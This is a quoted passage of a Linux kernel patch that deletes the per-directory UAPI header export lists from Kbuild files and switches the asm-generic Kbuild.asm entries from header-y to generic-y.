> diff --git a/arch/tile/include/uapi/asm/Kbuild b/arch/tile/include/uapi/asm/Kbuild
> index c20db8e428bf..e0a50111e07f 100644
> --- a/arch/tile/include/uapi/asm/Kbuild
> +++ b/arch/tile/include/uapi/asm/Kbuild
> @@ -1,21 +1,6 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += hardwall.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += ptrace.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += ucontext.h
> -header-y += unistd.h
> -
>  generic-y += ucontext.h
> +
> +subdir-y += ../arch
> diff --git a/arch/unicore32/include/uapi/asm/Kbuild b/arch/unicore32/include/uapi/asm/Kbuild
> index 0514d7ad6855..13a97aa2285f 100644
> --- a/arch/unicore32/include/uapi/asm/Kbuild
> +++ b/arch/unicore32/include/uapi/asm/Kbuild
> @@ -1,10 +1,4 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += byteorder.h
> -header-y += kvm_para.h
> -header-y += ptrace.h
> -header-y += sigcontext.h
> -header-y += unistd.h
> -
>  generic-y += kvm_para.h
> diff --git a/arch/x86/include/uapi/asm/Kbuild b/arch/x86/include/uapi/asm/Kbuild
> index 3dec769cadf7..83b6e9a0dce4 100644
> --- a/arch/x86/include/uapi/asm/Kbuild
> +++ b/arch/x86/include/uapi/asm/Kbuild
> @@ -4,62 +4,3 @@ include include/uapi/asm-generic/Kbuild.asm
>  genhdr-y += unistd_32.h
>  genhdr-y += unistd_64.h
>  genhdr-y += unistd_x32.h
> -header-y += a.out.h
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += boot.h
> -header-y += bootparam.h
> -header-y += byteorder.h
> -header-y += debugreg.h
> -header-y += e820.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += hw_breakpoint.h
> -header-y += hyperv.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += ist.h
> -header-y += kvm.h
> -header-y += kvm_para.h
> -header-y += kvm_perf.h
> -header-y += ldt.h
> -header-y += mce.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += msr-index.h
> -header-y += msr.h
> -header-y += mtrr.h
> -header-y += param.h
> -header-y += perf_regs.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += posix_types_32.h
> -header-y += posix_types_64.h
> -header-y += posix_types_x32.h
> -header-y += prctl.h
> -header-y += processor-flags.h
> -header-y += ptrace-abi.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += sigcontext32.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += svm.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += ucontext.h
> -header-y += unistd.h
> -header-y += vm86.h
> -header-y += vmx.h
> -header-y += vsyscall.h
> diff --git a/arch/xtensa/include/uapi/asm/Kbuild b/arch/xtensa/include/uapi/asm/Kbuild
> index 56aad54e7fb7..b15bf6bc0e94 100644
> --- a/arch/xtensa/include/uapi/asm/Kbuild
> +++ b/arch/xtensa/include/uapi/asm/Kbuild
> @@ -1,25 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += byteorder.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/include/Kbuild b/include/Kbuild
> deleted file mode 100644
> index bab1145bc7a7..000000000000
> --- a/include/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# Top-level Makefile calls into asm-$(ARCH)
> -# List only non-arch directories below
> diff --git a/include/asm-generic/Kbuild.asm b/include/asm-generic/Kbuild.asm
> deleted file mode 100644
> index d2ee86b4c091..000000000000
> --- a/include/asm-generic/Kbuild.asm
> +++ /dev/null
> @@ -1 +0,0 @@
> -include include/uapi/asm-generic/Kbuild.asm
> diff --git a/include/scsi/fc/Kbuild b/include/scsi/fc/Kbuild
> deleted file mode 100644
> index e69de29bb2d1..000000000000
> diff --git a/include/uapi/Kbuild b/include/uapi/Kbuild
> deleted file mode 100644
> index 245aa6e05e6a..000000000000
> --- a/include/uapi/Kbuild
> +++ /dev/null
> @@ -1,15 +0,0 @@
> -# UAPI Header export list
> -# Top-level Makefile calls into asm-$(ARCH)
> -# List only non-arch directories below
> -
> -
> -header-y += asm-generic/
> -header-y += linux/
> -header-y += sound/
> -header-y += mtd/
> -header-y += rdma/
> -header-y += video/
> -header-y += drm/
> -header-y += xen/
> -header-y += scsi/
> -header-y += misc/
> diff --git a/include/uapi/asm-generic/Kbuild b/include/uapi/asm-generic/Kbuild
> deleted file mode 100644
> index b73de7bb7a62..000000000000
> --- a/include/uapi/asm-generic/Kbuild
> +++ /dev/null
> @@ -1,36 +0,0 @@
> -# UAPI Header export list
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += errno-base.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += int-l64.h
> -header-y += int-ll64.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman-common.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += shmparam.h
> -header-y += siginfo.h
> -header-y += signal-defs.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += ucontext.h
> -header-y += unistd.h
> diff --git a/include/uapi/asm-generic/Kbuild.asm b/include/uapi/asm-generic/Kbuild.asm
> index fcd50b759217..c13805d5a2a0 100644
> --- a/include/uapi/asm-generic/Kbuild.asm
> +++ b/include/uapi/asm-generic/Kbuild.asm
> @@ -8,38 +8,38 @@ opt-header += a.out.h
>  #
>  # Headers that are mandatory in usr/include/asm/
>  #
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> +generic-y += auxvec.h
> +generic-y += bitsperlong.h
> +generic-y += byteorder.h
> +generic-y += errno.h
> +generic-y += fcntl.h
> +generic-y += ioctl.h
> +generic-y += ioctls.h
> +generic-y += ipcbuf.h
> +generic-y += mman.h
> +generic-y += msgbuf.h
> +generic-y += param.h
> +generic-y += poll.h
> +generic-y += posix_types.h
> +generic-y += ptrace.h
> +generic-y += resource.h
> +generic-y += sembuf.h
> +generic-y += setup.h
> +generic-y += shmbuf.h
> +generic-y += sigcontext.h
> +generic-y += siginfo.h
> +generic-y += signal.h
> +generic-y += socket.h
> +generic-y += sockios.h
> +generic-y += stat.h
> +generic-y += statfs.h
> +generic-y += swab.h
> +generic-y += termbits.h
> +generic-y += termios.h
> +generic-y += types.h
> +generic-y += unistd.h
>  
> -header-y += $(foreach hdr,$(opt-header), \
> +generic-y += $(foreach hdr,$(opt-header), \
>  	      $(if \
>  		$(wildcard \
>  			$(srctree)/arch/$(SRCARCH)/include/uapi/asm/$(hdr) \
> diff --git a/include/uapi/drm/Kbuild b/include/uapi/drm/Kbuild
> deleted file mode 100644
> index 9355dd8eff3b..000000000000
> --- a/include/uapi/drm/Kbuild
> +++ /dev/null
> @@ -1,22 +0,0 @@
> -# UAPI Header export list
> -header-y += drm.h
> -header-y += drm_fourcc.h
> -header-y += drm_mode.h
> -header-y += drm_sarea.h
> -header-y += amdgpu_drm.h
> -header-y += exynos_drm.h
> -header-y += i810_drm.h
> -header-y += i915_drm.h
> -header-y += mga_drm.h
> -header-y += nouveau_drm.h
> -header-y += qxl_drm.h
> -header-y += r128_drm.h
> -header-y += radeon_drm.h
> -header-y += savage_drm.h
> -header-y += sis_drm.h
> -header-y += tegra_drm.h
> -header-y += via_drm.h
> -header-y += vmwgfx_drm.h
> -header-y += msm_drm.h
> -header-y += vc4_drm.h
> -header-y += virtgpu_drm.h
> diff --git a/include/uapi/linux/Kbuild b/include/uapi/linux/Kbuild
> deleted file mode 100644
> index a8b93e685239..000000000000
> --- a/include/uapi/linux/Kbuild
> +++ /dev/null
> @@ -1,482 +0,0 @@
> -# UAPI Header export list
> -header-y += android/
> -header-y += byteorder/
> -header-y += can/
> -header-y += caif/
> -header-y += dvb/
> -header-y += hdlc/
> -header-y += hsi/
> -header-y += iio/
> -header-y += isdn/
> -header-y += mmc/
> -header-y += nfsd/
> -header-y += raid/
> -header-y += spi/
> -header-y += sunrpc/
> -header-y += tc_act/
> -header-y += tc_ematch/
> -header-y += netfilter/
> -header-y += netfilter_arp/
> -header-y += netfilter_bridge/
> -header-y += netfilter_ipv4/
> -header-y += netfilter_ipv6/
> -header-y += usb/
> -header-y += wimax/
> -
> -genhdr-y += version.h
> -
> -ifneq ($(wildcard $(srctree)/arch/$(SRCARCH)/include/uapi/asm/a.out.h \
> -		  $(srctree)/arch/$(SRCARCH)/include/asm/a.out.h),)
> -header-y += a.out.h
> -endif
> -
> -header-y += acct.h
> -header-y += adb.h
> -header-y += adfs_fs.h
> -header-y += affs_hardblocks.h
> -header-y += agpgart.h
> -header-y += aio_abi.h
> -header-y += am437x-vpfe.h
> -header-y += apm_bios.h
> -header-y += arcfb.h
> -header-y += atalk.h
> -header-y += atmapi.h
> -header-y += atmarp.h
> -header-y += atmbr2684.h
> -header-y += atmclip.h
> -header-y += atmdev.h
> -header-y += atm_eni.h
> -header-y += atm.h
> -header-y += atm_he.h
> -header-y += atm_idt77105.h
> -header-y += atmioc.h
> -header-y += atmlec.h
> -header-y += atmmpc.h
> -header-y += atm_nicstar.h
> -header-y += atmppp.h
> -header-y += atmsap.h
> -header-y += atmsvc.h
> -header-y += atm_tcp.h
> -header-y += atm_zatm.h
> -header-y += audit.h
> -header-y += auto_fs4.h
> -header-y += auto_fs.h
> -header-y += auxvec.h
> -header-y += ax25.h
> -header-y += b1lli.h
> -header-y += baycom.h
> -header-y += bcm933xx_hcs.h
> -header-y += bfs_fs.h
> -header-y += binfmts.h
> -header-y += blkpg.h
> -header-y += blktrace_api.h
> -header-y += blkzoned.h
> -header-y += bpf_common.h
> -header-y += bpf_perf_event.h
> -header-y += bpf.h
> -header-y += bpqether.h
> -header-y += bsg.h
> -header-y += bt-bmc.h
> -header-y += btrfs.h
> -header-y += can.h
> -header-y += capability.h
> -header-y += capi.h
> -header-y += cciss_defs.h
> -header-y += cciss_ioctl.h
> -header-y += cdrom.h
> -header-y += cec.h
> -header-y += cec-funcs.h
> -header-y += cgroupstats.h
> -header-y += chio.h
> -header-y += cm4000_cs.h
> -header-y += cn_proc.h
> -header-y += coda.h
> -header-y += coda_psdev.h
> -header-y += coff.h
> -header-y += connector.h
> -header-y += const.h
> -header-y += cramfs_fs.h
> -header-y += cuda.h
> -header-y += cyclades.h
> -header-y += cycx_cfm.h
> -header-y += dcbnl.h
> -header-y += dccp.h
> -header-y += devlink.h
> -header-y += dlmconstants.h
> -header-y += dlm_device.h
> -header-y += dlm.h
> -header-y += dlm_netlink.h
> -header-y += dlm_plock.h
> -header-y += dm-ioctl.h
> -header-y += dm-log-userspace.h
> -header-y += dn.h
> -header-y += dqblk_xfs.h
> -header-y += edd.h
> -header-y += efs_fs_sb.h
> -header-y += elfcore.h
> -header-y += elf-em.h
> -header-y += elf-fdpic.h
> -header-y += elf.h
> -header-y += errno.h
> -header-y += errqueue.h
> -header-y += ethtool.h
> -header-y += eventpoll.h
> -header-y += fadvise.h
> -header-y += falloc.h
> -header-y += fanotify.h
> -header-y += fb.h
> -header-y += fcntl.h
> -header-y += fd.h
> -header-y += fdreg.h
> -header-y += fib_rules.h
> -header-y += fiemap.h
> -header-y += filter.h
> -header-y += firewire-cdev.h
> -header-y += firewire-constants.h
> -header-y += flat.h
> -header-y += fou.h
> -header-y += fs.h
> -header-y += fsl_hypervisor.h
> -header-y += fuse.h
> -header-y += futex.h
> -header-y += gameport.h
> -header-y += genetlink.h
> -header-y += gen_stats.h
> -header-y += gfs2_ondisk.h
> -header-y += gigaset_dev.h
> -header-y += gpio.h
> -header-y += gsmmux.h
> -header-y += gtp.h
> -header-y += hdlcdrv.h
> -header-y += hdlc.h
> -header-y += hdreg.h
> -header-y += hiddev.h
> -header-y += hid.h
> -header-y += hidraw.h
> -header-y += hpet.h
> -header-y += hsr_netlink.h
> -header-y += hyperv.h
> -header-y += hysdn_if.h
> -header-y += i2c-dev.h
> -header-y += i2c.h
> -header-y += i2o-dev.h
> -header-y += i8k.h
> -header-y += icmp.h
> -header-y += icmpv6.h
> -header-y += if_addr.h
> -header-y += if_addrlabel.h
> -header-y += if_alg.h
> -header-y += if_arcnet.h
> -header-y += if_arp.h
> -header-y += if_bonding.h
> -header-y += if_bridge.h
> -header-y += if_cablemodem.h
> -header-y += if_eql.h
> -header-y += if_ether.h
> -header-y += if_fc.h
> -header-y += if_fddi.h
> -header-y += if_frad.h
> -header-y += if.h
> -header-y += if_hippi.h
> -header-y += if_infiniband.h
> -header-y += if_link.h
> -header-y += if_ltalk.h
> -header-y += if_macsec.h
> -header-y += if_packet.h
> -header-y += if_phonet.h
> -header-y += if_plip.h
> -header-y += if_ppp.h
> -header-y += if_pppol2tp.h
> -header-y += if_pppox.h
> -header-y += if_slip.h
> -header-y += if_team.h
> -header-y += if_tun.h
> -header-y += if_tunnel.h
> -header-y += if_vlan.h
> -header-y += if_x25.h
> -header-y += igmp.h
> -header-y += ila.h
> -header-y += in6.h
> -header-y += inet_diag.h
> -header-y += in.h
> -header-y += inotify.h
> -header-y += input.h
> -header-y += input-event-codes.h
> -header-y += in_route.h
> -header-y += ioctl.h
> -header-y += ip6_tunnel.h
> -header-y += ipc.h
> -header-y += ip.h
> -header-y += ipmi.h
> -header-y += ipmi_msgdefs.h
> -header-y += ipsec.h
> -header-y += ipv6.h
> -header-y += ipv6_route.h
> -header-y += ip_vs.h
> -header-y += ipx.h
> -header-y += irda.h
> -header-y += irqnr.h
> -header-y += isdn_divertif.h
> -header-y += isdn.h
> -header-y += isdnif.h
> -header-y += isdn_ppp.h
> -header-y += iso_fs.h
> -header-y += ivtvfb.h
> -header-y += ivtv.h
> -header-y += ixjuser.h
> -header-y += jffs2.h
> -header-y += joystick.h
> -header-y += kcmp.h
> -header-y += kdev_t.h
> -header-y += kd.h
> -header-y += kernelcapi.h
> -header-y += kernel.h
> -header-y += kernel-page-flags.h
> -header-y += kexec.h
> -header-y += keyboard.h
> -header-y += keyctl.h
> -
> -ifneq ($(wildcard $(srctree)/arch/$(SRCARCH)/include/uapi/asm/kvm.h \
> -		  $(srctree)/arch/$(SRCARCH)/include/asm/kvm.h),)
> -header-y += kvm.h
> -endif
> -
> -
> -ifneq ($(wildcard $(srctree)/arch/$(SRCARCH)/include/uapi/asm/kvm_para.h \
> -		  $(srctree)/arch/$(SRCARCH)/include/asm/kvm_para.h),)
> -header-y += kvm_para.h
> -endif
> -
> -header-y += hw_breakpoint.h
> -header-y += l2tp.h
> -header-y += libc-compat.h
> -header-y += lirc.h
> -header-y += limits.h
> -header-y += llc.h
> -header-y += loop.h
> -header-y += lp.h
> -header-y += lwtunnel.h
> -header-y += magic.h
> -header-y += major.h
> -header-y += map_to_7segment.h
> -header-y += matroxfb.h
> -header-y += mdio.h
> -header-y += media.h
> -header-y += media-bus-format.h
> -header-y += mei.h
> -header-y += membarrier.h
> -header-y += memfd.h
> -header-y += mempolicy.h
> -header-y += meye.h
> -header-y += mic_common.h
> -header-y += mic_ioctl.h
> -header-y += mii.h
> -header-y += minix_fs.h
> -header-y += mman.h
> -header-y += mmtimer.h
> -header-y += mpls.h
> -header-y += mpls_iptunnel.h
> -header-y += mqueue.h
> -header-y += mroute6.h
> -header-y += mroute.h
> -header-y += msdos_fs.h
> -header-y += msg.h
> -header-y += mtio.h
> -header-y += nbd.h
> -header-y += ncp_fs.h
> -header-y += ncp.h
> -header-y += ncp_mount.h
> -header-y += ncp_no.h
> -header-y += ndctl.h
> -header-y += neighbour.h
> -header-y += netconf.h
> -header-y += netdevice.h
> -header-y += net_dropmon.h
> -header-y += netfilter_arp.h
> -header-y += netfilter_bridge.h
> -header-y += netfilter_decnet.h
> -header-y += netfilter.h
> -header-y += netfilter_ipv4.h
> -header-y += netfilter_ipv6.h
> -header-y += net.h
> -header-y += netlink_diag.h
> -header-y += netlink.h
> -header-y += netrom.h
> -header-y += net_namespace.h
> -header-y += net_tstamp.h
> -header-y += nfc.h
> -header-y += nfs2.h
> -header-y += nfs3.h
> -header-y += nfs4.h
> -header-y += nfs4_mount.h
> -header-y += nfsacl.h
> -header-y += nfs_fs.h
> -header-y += nfs.h
> -header-y += nfs_idmap.h
> -header-y += nfs_mount.h
> -header-y += nl80211.h
> -header-y += n_r3964.h
> -header-y += nubus.h
> -header-y += nvme_ioctl.h
> -header-y += nvram.h
> -header-y += omap3isp.h
> -header-y += omapfb.h
> -header-y += oom.h
> -header-y += openvswitch.h
> -header-y += packet_diag.h
> -header-y += param.h
> -header-y += parport.h
> -header-y += patchkey.h
> -header-y += pci.h
> -header-y += pci_regs.h
> -header-y += perf_event.h
> -header-y += personality.h
> -header-y += pfkeyv2.h
> -header-y += pg.h
> -header-y += phantom.h
> -header-y += phonet.h
> -header-y += pktcdvd.h
> -header-y += pkt_cls.h
> -header-y += pkt_sched.h
> -header-y += pmu.h
> -header-y += poll.h
> -header-y += posix_acl.h
> -header-y += posix_acl_xattr.h
> -header-y += posix_types.h
> -header-y += ppdev.h
> -header-y += ppp-comp.h
> -header-y += ppp_defs.h
> -header-y += ppp-ioctl.h
> -header-y += pps.h
> -header-y += prctl.h
> -header-y += psci.h
> -header-y += ptp_clock.h
> -header-y += ptrace.h
> -header-y += qnx4_fs.h
> -header-y += qnxtypes.h
> -header-y += quota.h
> -header-y += radeonfb.h
> -header-y += random.h
> -header-y += raw.h
> -header-y += rds.h
> -header-y += reboot.h
> -header-y += reiserfs_fs.h
> -header-y += reiserfs_xattr.h
> -header-y += resource.h
> -header-y += rfkill.h
> -header-y += rio_cm_cdev.h
> -header-y += rio_mport_cdev.h
> -header-y += romfs_fs.h
> -header-y += rose.h
> -header-y += route.h
> -header-y += rtc.h
> -header-y += rtnetlink.h
> -header-y += scc.h
> -header-y += sched.h
> -header-y += scif_ioctl.h
> -header-y += screen_info.h
> -header-y += sctp.h
> -header-y += sdla.h
> -header-y += seccomp.h
> -header-y += securebits.h
> -header-y += selinux_netlink.h
> -header-y += sem.h
> -header-y += serial_core.h
> -header-y += serial.h
> -header-y += serial_reg.h
> -header-y += serio.h
> -header-y += shm.h
> -header-y += signalfd.h
> -header-y += signal.h
> -header-y += smiapp.h
> -header-y += snmp.h
> -header-y += sock_diag.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += sonet.h
> -header-y += sonypi.h
> -header-y += soundcard.h
> -header-y += sound.h
> -header-y += stat.h
> -header-y += stddef.h
> -header-y += string.h
> -header-y += suspend_ioctls.h
> -header-y += swab.h
> -header-y += synclink.h
> -header-y += sync_file.h
> -header-y += sysctl.h
> -header-y += sysinfo.h
> -header-y += target_core_user.h
> -header-y += taskstats.h
> -header-y += tcp.h
> -header-y += tcp_metrics.h
> -header-y += telephony.h
> -header-y += termios.h
> -header-y += thermal.h
> -header-y += time.h
> -header-y += times.h
> -header-y += timex.h
> -header-y += tiocl.h
> -header-y += tipc_config.h
> -header-y += tipc_netlink.h
> -header-y += tipc.h
> -header-y += toshiba.h
> -header-y += tty_flags.h
> -header-y += tty.h
> -header-y += types.h
> -header-y += udf_fs_i.h
> -header-y += udp.h
> -header-y += uhid.h
> -header-y += uinput.h
> -header-y += uio.h
> -header-y += uleds.h
> -header-y += ultrasound.h
> -header-y += un.h
> -header-y += unistd.h
> -header-y += unix_diag.h
> -header-y += usbdevice_fs.h
> -header-y += usbip.h
> -header-y += utime.h
> -header-y += utsname.h
> -header-y += uuid.h
> -header-y += uvcvideo.h
> -header-y += v4l2-common.h
> -header-y += v4l2-controls.h
> -header-y += v4l2-dv-timings.h
> -header-y += v4l2-mediabus.h
> -header-y += v4l2-subdev.h
> -header-y += veth.h
> -header-y += vfio.h
> -header-y += vhost.h
> -header-y += videodev2.h
> -header-y += virtio_9p.h
> -header-y += virtio_balloon.h
> -header-y += virtio_blk.h
> -header-y += virtio_config.h
> -header-y += virtio_console.h
> -header-y += virtio_gpu.h
> -header-y += virtio_ids.h
> -header-y += virtio_input.h
> -header-y += virtio_net.h
> -header-y += virtio_pci.h
> -header-y += virtio_ring.h
> -header-y += virtio_rng.h
> -header-y += virtio_scsi.h
> -header-y += virtio_types.h
> -header-y += virtio_vsock.h
> -header-y += virtio_crypto.h
> -header-y += vm_sockets.h
> -header-y += vt.h
> -header-y += vtpm_proxy.h
> -header-y += wait.h
> -header-y += wanrouter.h
> -header-y += watchdog.h
> -header-y += wimax.h
> -header-y += wireless.h
> -header-y += x25.h
> -header-y += xattr.h
> -header-y += xfrm.h
> -header-y += xilinx-v4l2-controls.h
> -header-y += zorro.h
> -header-y += zorro_ids.h
> -header-y += userfaultfd.h
> diff --git a/include/uapi/linux/android/Kbuild b/include/uapi/linux/android/Kbuild
> deleted file mode 100644
> index ca011eec252a..000000000000
> --- a/include/uapi/linux/android/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += binder.h
> diff --git a/include/uapi/linux/byteorder/Kbuild b/include/uapi/linux/byteorder/Kbuild
> deleted file mode 100644
> index 619225b9ff2e..000000000000
> --- a/include/uapi/linux/byteorder/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += big_endian.h
> -header-y += little_endian.h
> diff --git a/include/uapi/linux/caif/Kbuild b/include/uapi/linux/caif/Kbuild
> deleted file mode 100644
> index 43396612d3a3..000000000000
> --- a/include/uapi/linux/caif/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += caif_socket.h
> -header-y += if_caif.h
> diff --git a/include/uapi/linux/can/Kbuild b/include/uapi/linux/can/Kbuild
> deleted file mode 100644
> index 21c91bf25a29..000000000000
> --- a/include/uapi/linux/can/Kbuild
> +++ /dev/null
> @@ -1,6 +0,0 @@
> -# UAPI Header export list
> -header-y += bcm.h
> -header-y += error.h
> -header-y += gw.h
> -header-y += netlink.h
> -header-y += raw.h
> diff --git a/include/uapi/linux/dvb/Kbuild b/include/uapi/linux/dvb/Kbuild
> deleted file mode 100644
> index d40942cfc627..000000000000
> --- a/include/uapi/linux/dvb/Kbuild
> +++ /dev/null
> @@ -1,9 +0,0 @@
> -# UAPI Header export list
> -header-y += audio.h
> -header-y += ca.h
> -header-y += dmx.h
> -header-y += frontend.h
> -header-y += net.h
> -header-y += osd.h
> -header-y += version.h
> -header-y += video.h
> diff --git a/include/uapi/linux/hdlc/Kbuild b/include/uapi/linux/hdlc/Kbuild
> deleted file mode 100644
> index 8c1d2cb75e33..000000000000
> --- a/include/uapi/linux/hdlc/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += ioctl.h
> diff --git a/include/uapi/linux/hsi/Kbuild b/include/uapi/linux/hsi/Kbuild
> deleted file mode 100644
> index a16a00544258..000000000000
> --- a/include/uapi/linux/hsi/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += hsi_char.h cs-protocol.h
> diff --git a/include/uapi/linux/iio/Kbuild b/include/uapi/linux/iio/Kbuild
> deleted file mode 100644
> index 86f76d84c44f..000000000000
> --- a/include/uapi/linux/iio/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += events.h
> -header-y += types.h
> diff --git a/include/uapi/linux/isdn/Kbuild b/include/uapi/linux/isdn/Kbuild
> deleted file mode 100644
> index 89e52850bf29..000000000000
> --- a/include/uapi/linux/isdn/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += capicmd.h
> diff --git a/include/uapi/linux/mmc/Kbuild b/include/uapi/linux/mmc/Kbuild
> deleted file mode 100644
> index 8c1d2cb75e33..000000000000
> --- a/include/uapi/linux/mmc/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += ioctl.h
> diff --git a/include/uapi/linux/netfilter/Kbuild b/include/uapi/linux/netfilter/Kbuild
> deleted file mode 100644
> index 03f194aeadc5..000000000000
> --- a/include/uapi/linux/netfilter/Kbuild
> +++ /dev/null
> @@ -1,89 +0,0 @@
> -# UAPI Header export list
> -header-y += ipset/
> -header-y += nf_conntrack_common.h
> -header-y += nf_conntrack_ftp.h
> -header-y += nf_conntrack_sctp.h
> -header-y += nf_conntrack_tcp.h
> -header-y += nf_conntrack_tuple_common.h
> -header-y += nf_log.h
> -header-y += nf_tables.h
> -header-y += nf_tables_compat.h
> -header-y += nf_nat.h
> -header-y += nfnetlink.h
> -header-y += nfnetlink_acct.h
> -header-y += nfnetlink_compat.h
> -header-y += nfnetlink_conntrack.h
> -header-y += nfnetlink_cthelper.h
> -header-y += nfnetlink_cttimeout.h
> -header-y += nfnetlink_log.h
> -header-y += nfnetlink_queue.h
> -header-y += x_tables.h
> -header-y += xt_AUDIT.h
> -header-y += xt_CHECKSUM.h
> -header-y += xt_CLASSIFY.h
> -header-y += xt_CONNMARK.h
> -header-y += xt_CONNSECMARK.h
> -header-y += xt_CT.h
> -header-y += xt_DSCP.h
> -header-y += xt_HMARK.h
> -header-y += xt_IDLETIMER.h
> -header-y += xt_LED.h
> -header-y += xt_LOG.h
> -header-y += xt_MARK.h
> -header-y += xt_NFLOG.h
> -header-y += xt_NFQUEUE.h
> -header-y += xt_RATEEST.h
> -header-y += xt_SECMARK.h
> -header-y += xt_SYNPROXY.h
> -header-y += xt_TCPMSS.h
> -header-y += xt_TCPOPTSTRIP.h
> -header-y += xt_TEE.h
> -header-y += xt_TPROXY.h
> -header-y += xt_addrtype.h
> -header-y += xt_bpf.h
> -header-y += xt_cgroup.h
> -header-y += xt_cluster.h
> -header-y += xt_comment.h
> -header-y += xt_connbytes.h
> -header-y += xt_connlabel.h
> -header-y += xt_connlimit.h
> -header-y += xt_connmark.h
> -header-y += xt_conntrack.h
> -header-y += xt_cpu.h
> -header-y += xt_dccp.h
> -header-y += xt_devgroup.h
> -header-y += xt_dscp.h
> -header-y += xt_ecn.h
> -header-y += xt_esp.h
> -header-y += xt_hashlimit.h
> -header-y += xt_helper.h
> -header-y += xt_ipcomp.h
> -header-y += xt_iprange.h
> -header-y += xt_ipvs.h
> -header-y += xt_l2tp.h
> -header-y += xt_length.h
> -header-y += xt_limit.h
> -header-y += xt_mac.h
> -header-y += xt_mark.h
> -header-y += xt_multiport.h
> -header-y += xt_nfacct.h
> -header-y += xt_osf.h
> -header-y += xt_owner.h
> -header-y += xt_physdev.h
> -header-y += xt_pkttype.h
> -header-y += xt_policy.h
> -header-y += xt_quota.h
> -header-y += xt_rateest.h
> -header-y += xt_realm.h
> -header-y += xt_recent.h
> -header-y += xt_rpfilter.h
> -header-y += xt_sctp.h
> -header-y += xt_set.h
> -header-y += xt_socket.h
> -header-y += xt_state.h
> -header-y += xt_statistic.h
> -header-y += xt_string.h
> -header-y += xt_tcpmss.h
> -header-y += xt_tcpudp.h
> -header-y += xt_time.h
> -header-y += xt_u32.h
> diff --git a/include/uapi/linux/netfilter/ipset/Kbuild b/include/uapi/linux/netfilter/ipset/Kbuild
> deleted file mode 100644
> index d2680423d9ab..000000000000
> --- a/include/uapi/linux/netfilter/ipset/Kbuild
> +++ /dev/null
> @@ -1,5 +0,0 @@
> -# UAPI Header export list
> -header-y += ip_set.h
> -header-y += ip_set_bitmap.h
> -header-y += ip_set_hash.h
> -header-y += ip_set_list.h
> diff --git a/include/uapi/linux/netfilter_arp/Kbuild b/include/uapi/linux/netfilter_arp/Kbuild
> deleted file mode 100644
> index 62d5637cc0ac..000000000000
> --- a/include/uapi/linux/netfilter_arp/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += arp_tables.h
> -header-y += arpt_mangle.h
